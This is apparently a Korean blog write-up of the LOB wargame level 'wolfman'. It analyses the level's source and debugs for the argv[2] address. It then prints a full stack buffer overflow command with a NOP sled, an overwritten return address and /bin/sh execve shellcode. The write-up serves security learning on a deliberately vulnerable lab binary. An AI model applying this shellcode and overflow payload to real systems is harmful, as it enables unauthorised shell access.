1. wolfman.c 분석
- argv[1][47] == "\xbf" 을 지키도록 페이로드 작성해야 함
- memset(buffer, 0, 40) -> 버퍼에다 오버플로 불가, argv[2]에 쉘코드 삽입 예정
먼저 write-up을 올린 troll과 비슷하게 페이로드를 작성할 수 있다.
2. 디버깅
strcpy 직후 bp 건 후, argv[2]의 위치 확인
"\xbf"*48을 통해 if 구문 우회 후 A가 저장된 공간을 확인할 수 있다. 대충 0xbffffad4를 argv[2]의 주소로 사용할 예정.
3. 페이로드 작성
./wolfman $(python -c 'print "\x90"*44+"\xd4\xfa\xff\xbf"+"\x90"*200+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
'Write-Up > LOB' 카테고리의 다른 글
LOB: succubus -> nightmare (0) | 2019.11.28 |
---|---|
LOB: troll->vampire (0) | 2019.11.28 |
LOB: gremlin->cobolt (0) | 2019.11.27 |
LOB: gate - 수정중 (0) | 2019.11.22 |